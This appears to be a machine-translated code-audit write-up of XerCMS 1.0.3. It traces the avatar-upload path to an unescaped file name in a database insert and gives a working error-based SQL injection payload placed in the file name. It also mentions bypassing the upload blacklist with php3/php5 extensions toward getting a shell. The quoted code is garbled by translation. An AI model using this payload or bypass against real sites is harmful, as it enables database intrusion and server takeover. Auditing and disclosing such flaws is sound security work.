Link: https://share.weiyun.com/6b98e41d036967178e1a21fb88ed340f (password: ynny)
File name Error injection
index.php?m=member&a=upfiles&id=2
Xercms\modules\member\index.php in this folder
Registered users at the front desk grab a bag at the Avatar upload reperter a little bit with MySQL monitoring tool
Find an Insert database operation analysis
Follow Upfiles function
Public functionUpfiles () {SetFormat (' JSON '); $config= INI (' member/group/'. X::$G[' Group ']); if(Empty($config)) { Exit(' Access Denied '); } Else { if($config[' Upload '] [0] = = 0) {error (' Upload_group_limit '); } Else if($config[' Upload '] [1]! = 0 && X::$G[' Upload '] >$config[' Upload '] [1]) {error (' Upload_group_size '); } } $id= Int1 (g (' ID '))); C (' Upload ')->load ($id); $image= INI (' image '); if(isset($image[' Status '] {2})) {C (' Upload ')->config[' thumbs '] =Array(Array(' width ' =$image[' width '], ' height ' =$image[' Height '], ' cut ' =$image[' Cut '], ' quality ' =$image[' Quality '])); } Else { if(isset(c (' upload ')->config[' thumbs '))unset(c (' upload ')->config[' thumbs ']); } C (' Upload ')files (); C (' Upload ')Show (); }
Complete the upload operation via C (' upload ')->files ()
Follow up on the files function/xercms/library/xercms_upload.php
function files () { foreach($_filesas$k= =$v) { $thisfile($k);} }
Continue to follow the file function
function file($name) { if(isset($_files[$name[' Tmp_name ']) &&!Empty($_files[$name[' Tmp_name '])) { $ext=$this->ext ($_files[$name[' Name ']); if(In_array(Strtolower($ext),$this->forbid) | |Preg_match('/([^a-z0-9])/I ',$ext,$match)) { $this->result[$name[' ERROR '] = ' Ext ';return; } if(!Empty($this->config[' maxsize ') &&$_files[$name[' Size '] >$this->config[' MaxSize ']) { $this->result[$name[' ERROR '] = ' Size ';return; } $rid=$this->record ($_files[$name]); $this-dir($this->config[' path '],$rid,$ext); if(Is_uploaded_file($_files[$name[' Tmp_name '])) { if(Move_uploaded_file($_files[$name[' Tmp_name '],$this->name ($rid)) ==false) { $this->delrid ($rid); $this->result[$name[' ERROR '] = ' Move ';return; } Else { //chmod ($this->name ($rid), 0644); } if($this->config[' local '] = = ' 0 ') { if(! Remote::upload ($this->name ($rid),$this->name ($rid),$this->config[' remote '],$this->config[' mode '])) { $this->delrid ($rid);@unlink($this->name ($rid)); $this->result[$name[' ERROR '] =$this->config[' mode ';return; } } //if ($helper! = null) { $files=$this->handle ($this->name ($rid),$ext); if($files!=NULL&&$this->config[' local '] = = ' 0 ') { foreach($files as $file) { if(! Remote::upload ($file,$file,$this->config[' remote '],$this->config[' mode '])) { $this->delrid ($rid); $this->result[$name[' ERROR '] = ' extra '; Break; } } if(!Empty($this->result[$name[' Error '])) { foreach($files as $file) { @unlink($file); } return; } } //} } $this->result[$name[' host '] =$this->config[' Host ']; $this->result[$name[' path '] =$this->name ($rid); $this->setpath ($rid,$this->result[$name[' Path ']); } Else $this->result[$name[' ERROR '] = ' Tmp '; }
var $forbid Array (' php ', ' asp ', ' aspx ', ' vbs ', ' bat ', ' ASA ');
Suffixes exploit the blacklist can be carried php3 php5 bypass here not the point
Follow up on a record function
functionRecord$upfile) { if(X::$G[' UID ']) {DB:: Add (' Xercms_member_count ',Array(' Upload ' =$upfile[' Size ']),Array(' UID ' =>x::$G[' UID '])); } DB:: Insert (' Xercms_member_upfiles ',Array(' UID ' =>x::$G[' uid '], ' size ' =$upfile[' Size '], ' name ' = =$upfile[' name '], ' time ' =>x::$G[' Time '], ' IP ' =>x::$G[' IP '], ' type ' = =$this-CID)); returnDb::LastID (); }
You can see that there is an insert operation
And the previous function argument is the file's original filename.
$rid $this->record ($_files[$name]);
And this CMS is not globally filtered
So it caused the injection
Static functionInsert$table,$fields) { if(Empty($fields)) { return ; } foreach($fields as $k=$v) { $content[] = "". Db::filter ($k, ' F '). ' ' = \ '. DB:: Filter ($v).‘ \‘‘ ; } Self:: Query (' INSERT into '.$table.‘ SET '.implode( ‘,‘,$content), Self::$connect ); returnSelf::LastID ();}
Where the filter function has a bit of filtering
Static functionFilter$str,$t= ' ') { $str= (string)$str; Switch($t) { Case' F ':return Preg_replace('/([^a-z0-9_])/I ', ',$str); Break; default:return Trim($str,‘\\‘); Break; } }
Replace the key with other characters that are not letters and numbers and underscores, and the value is only filtered \, so it can be injected, followed by the Query method
An error has been turned on, causing an error to be injected
FileName 1 ' or updatexml (1,concat (0x7e, (version ())), 0) or '. jpg ' See return
XerCMS-1.0.3 Code Audit (file name error injected backstage Getshell)